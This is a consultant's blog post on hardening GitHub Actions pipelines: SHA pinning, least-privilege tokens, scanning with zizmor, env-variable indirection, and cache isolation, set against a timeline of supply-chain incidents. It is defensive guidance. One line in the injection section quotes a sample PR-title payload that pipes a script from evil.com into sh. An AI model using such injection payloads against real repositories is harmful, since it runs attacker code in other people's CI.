15% off - September See services
Gabe Giro

GitHub Actions Is the Weakest Link

The one-hour CI hardening pass I run with clients: scan every workflow, pin actions to SHAs, scope tokens, kill template injection, and audit your cache trust boundary.

SecurityCI/CDDevOpsEngineering
Book a code review
Cover image for GitHub Actions Is the Weakest Link

Every founding CTO I work with has the same blind spot. The production database gets a threat model. The secrets store gets rotation. The CI pipeline gets actions/checkout@v4 and a shrug. GitHub Actions is the one high-leverage surface where the platform defaults are actively working against you, and attackers have spent the last 18 months proving it in public.

  1. Nov 2024 to Mar 2025

    spotbugs to reviewdog to tj-actions

    A four-month lateral movement that started with a PR checkout and ended with personal access tokens in attacker hands.

  2. Dec 2024

    Ultralytics

    A crypto miner shipped to PyPI through a poisoned Actions cache.

  3. Mar 2025

    tj-actions/changed-files, CVE-2025-30066

    Mutable tag hijack. 23,000 repos compromised, secrets leaked. CISA advisory two days later.

  4. Aug 2025

    nx / s1ngularity

    Template injection in a PR title. More than 5,000 private repos briefly exposed.

  5. Feb to Mar 2026

    Trivy

    Compromised twice in three weeks via pull_request_target plus tag hijacking.

  6. Mar to Apr 2026

    prt-scan

    A coordinated PR campaign hitting hundreds of repos systematically.

  7. Apr 2026

    elementary-data

    Issue-comment injection. A malicious wheel on PyPI in ten minutes.

Eighteen months of GitHub Actions supply-chain incidents. The disclosed ones.

Seven public incidents. The invisible ones, the supply-chain fan-outs nobody has disclosed yet, are the ones that should keep you up.

If you are a founding CTO at a seed to Series B company, your CI is one of the three highest-leverage attack surfaces you own. The other two are your production secrets store and your CEO's email. Here is the one-hour hardening pass I run with clients. Any technical co-founder can ship it in an afternoon, and the audit itself is a defensible deliverable for your next diligence call.

1. Run zizmor against every workflow

zizmor is a static analyzer for GitHub Actions workflows. It catches the footguns GitHub put there and will not remove. It is maintained largely by one person, which is itself a story about who is actually defending this surface.

pipx install zizmor
zizmor .github/workflows/

Triage the findings by severity. The pull_request_target hits and the template-injection hits are the ones that get repos taken over. Fix those first.

2. Pin every action to an immutable commit SHA

Mutable tags like actions/checkout@v4 and tj-actions/changed-files@v45 resolve to whatever the upstream maintainer points the tag at. CVE-2025-30066 was exactly this: someone got commit access, force-pushed the tag, and 23,000 repos pulled the new code on their next workflow run.

Replace every tag reference with the full SHA, plus a comment for human readability:

- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332  # v4.1.7

Dependabot will keep these current. Renovate handles them too. Either way, the SHA is what gets executed. The tag is just a hint.

3. Set permissions to empty, then grant per job

The default GITHUB_TOKEN for repos created before February 2023 has write scope. Even on newer repos, the default is more than most jobs need.

At the top of every workflow:

permissions: {}

Then grant only what each job actually needs, at the job level:

jobs:
  build:
    permissions:
      contents: read
      pull-requests: write

If a workflow breaks, the error tells you exactly which scope you missed. That is a feature, not a bug.

4. Ban github.event expansion in run: steps

The template-injection class of attacks works because ${{ }} does textual substitution into the shell command before any escaping. A PR title like "; curl evil.com/x.sh | sh; # becomes executable.

Anywhere you currently have this:

- run: echo "PR title: ${{ github.event.pull_request.title }}"

Replace it with environment variable indirection:

- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "PR title: $PR_TITLE"

The shell handles the escaping. The expansion never touches the command line.

5. Review your cache trust boundary

The Ultralytics incident shipped through a poisoned Actions cache. The pattern: a pull_request_target job runs untrusted PR code with cache-write access, and a release workflow later reads from the same cache. The release ships the attacker payload.

Audit which workflows write to caches. Audit which workflows read from them. Make sure no workflow that builds release artifacts shares a cache namespace with anything triggered by external PRs. If you cannot easily tell, that is the answer. Refactor.

What an hour buys you

After the pass

  • Every workflow scanned

    zizmor findings triaged, worst first.

  • Every action pinned

    Full SHAs. Dependabot keeps them current.

  • Least-privilege tokens

    Empty permissions, then grant per job.

  • No injection vectors

    github.event values moved to env indirection.

  • Cache boundary documented

    No release workflow shares a cache with external PRs.

That is a one-page audit. Drop it in your security folder. When your next investor's diligence checklist asks about CI security posture, you have a real answer instead of "we trust GitHub defaults."

Is your CI exposed right now?

Defaults are working for you
Ship the hardening pass this week
0 of 5 ticked. Rare, and worth double-checking. Run zizmor anyway.

The teams getting hit are not the ones with exotic threat models. They are the ones still running actions/checkout@v4. The cost of getting on the right side of this is one afternoon. The cost of staying on the wrong side is the next s1ngularity post-mortem with your name in it.


Same lens, different part of the stack: Don't Make AI Your Crutch is about the code your agents write. This one is about the pipeline that ships it. Both come down to the same habit, which is not trusting a default just because it is convenient.

If you are running this audit before your next raise, that is exactly the kind of work I do as a fractional CTO. Book a code review and I will go through your workflows before they go to the board.

Gabe Giro

Stay in the loop

Practical thoughts on engineering leadership, Android, and AI. No spam, unsubscribe anytime.